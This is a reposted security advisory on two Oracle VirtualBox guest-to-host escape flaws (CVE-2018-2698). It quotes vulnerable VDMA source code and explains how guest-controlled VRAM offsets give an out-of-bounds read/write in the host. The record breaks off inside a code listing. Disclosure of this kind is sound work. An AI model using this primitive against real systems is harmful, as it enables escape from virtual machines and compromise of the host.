{"id":11225,"date":"2018-01-24T14:19:13","date_gmt":"2018-01-24T22:19:13","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2018\/01\/24\/news-4996\/"},"modified":"2018-01-24T14:19:13","modified_gmt":"2018-01-24T22:19:13","slug":"news-4996","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2018\/01\/24\/news-4996\/","title":{"rendered":"SSD Advisory \u2013 Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 24 Jan 2018 14:11:46 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3649\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3649');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerabilities summary<\/strong><br \/> The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1.<\/p>\n<p><strong>Credit<\/strong><br \/> An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor response<\/strong><br \/> Oracle were informed of the vulnerabilities and released patches to address them.<\/p>\n<p>For more details: http:\/\/www.oracle.com\/technetwork\/security-advisory\/cpujan2018-3236628.html<\/p>\n<p>CVE: CVE-2018-2698<br \/> <span id=\"more-3649\"><\/span><br \/> <strong><u>Vulnerabilities details<\/u><\/strong><br \/> The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems. <\/p>\n<p>provide an arbitrary read\/write primitive in the userland VirtualBox host rocess, relative to the guest&#8217;s VRAM buffer.<\/p>\n<p>The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory.<\/p>\n<p>Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI). <\/p>\n<p>Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features. <\/p>\n<p>The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA.<\/p>\n<p><strong>Out-of-bounds read\/write in <em>vboxVDMACmdExecBpbTransfer<\/em><\/strong><br \/> The <code><em>VBOXVDMACMD_DMA_BPB_TRANSFER<\/em><\/code> command struct looks as follows (defined in <code>include\/VBox\/VBoxVideo.h:1435<\/code>):<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e34c239023800\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER      {          uint32_t cbTransferSize;          uint32_t fFlags;          union          {              uint64_t phBuf;              VBOXVIDEOOFFSET offVramBuf;          } Src;          union          {              uint64_t phBuf;              VBOXVIDEOOFFSET offVramBuf;          } Dst;      } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0011 seconds] -->  <\/p>\n<p>When issuing a VDMA command of type <code><em>VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER<\/em><\/code>, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.<\/p>\n<p>On the host, a pointer to the object is eventually passed to the following function inside the file <code>src\/VBox\/Devices\/Graphics\/DevVGA_VDMA.cpp<\/code>:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e355063656208\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)      {          \/\/ &#8230;          uint32_t cbTransfer = pTransfer-&gt;cbTransferSize;          uint32_t cbTransfered = 0;          \/\/ &#8230;          do          {              uint32_t cbSubTransfer = cbTransfer;              if (pTransfer-&gt;fFlags &amp; VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)              {                  \/\/ [[ Note 1 ]]                  pvSrc  = pvRam + pTransfer-&gt;Src.offVramBuf + cbTransfered;              }              else              {                  \/\/ &#8230;              }                if (pTransfer-&gt;fFlags &amp; VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)              {                  \/\/ [[ Note 2 ]]                  pvDst  = pvRam + pTransfer-&gt;Dst.offVramBuf + cbTransfered;              }              else              {                  \/\/ &#8230;              }                if (RT_SUCCESS(rc))              {                  memcpy(pvDst, pvSrc, cbSubTransfer);                  cbTransfer -= cbSubTransfer;                  cbTransfered += cbSubTransfer;              }              else              {                  cbTransfer = 0; \/* to break *\/              }              \/\/ &#8230;          } while (cbTransfer);            if (RT_SUCCESS(rc))              return sizeof (*pTransfer);          return rc;      }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e355063656208-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e355063656208-46\">46<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vboxVDMACmdExecBpbTransfer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">PVBOXVDMAHOST <\/span><span class=\"crayon-v\">pVdma<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">const<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PVBOXVDMACMD_DMA_BPB_TRANSFER <\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbBuffer<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ &#8230;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbTransfer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">cbTransferSize<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbTransfered<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ &#8230;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">do<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">uint32_t <\/span><span class=\"crayon-v\">cbSubTransfer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbTransfer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ [[ Note 1 ]]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pvSrc<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvRam<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Src<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbTransfered<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ &#8230;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-19\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">fFlags<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-21\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ [[ Note 2 ]]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">pvDst<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvRam<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pTransfer<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">Dst<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">offVramBuf<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbTransfered<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-27\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ &#8230;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-28\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-29\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">RT_SUCCESS<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rc<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">memcpy<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">pvDst<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">pvSrc<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbSubTransfer<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbTransfer<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">-=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbSubTransfer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-34\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">cbTransfered<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cbSubTransfer<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-35\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e355063656208-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e355063656208-37\"><span 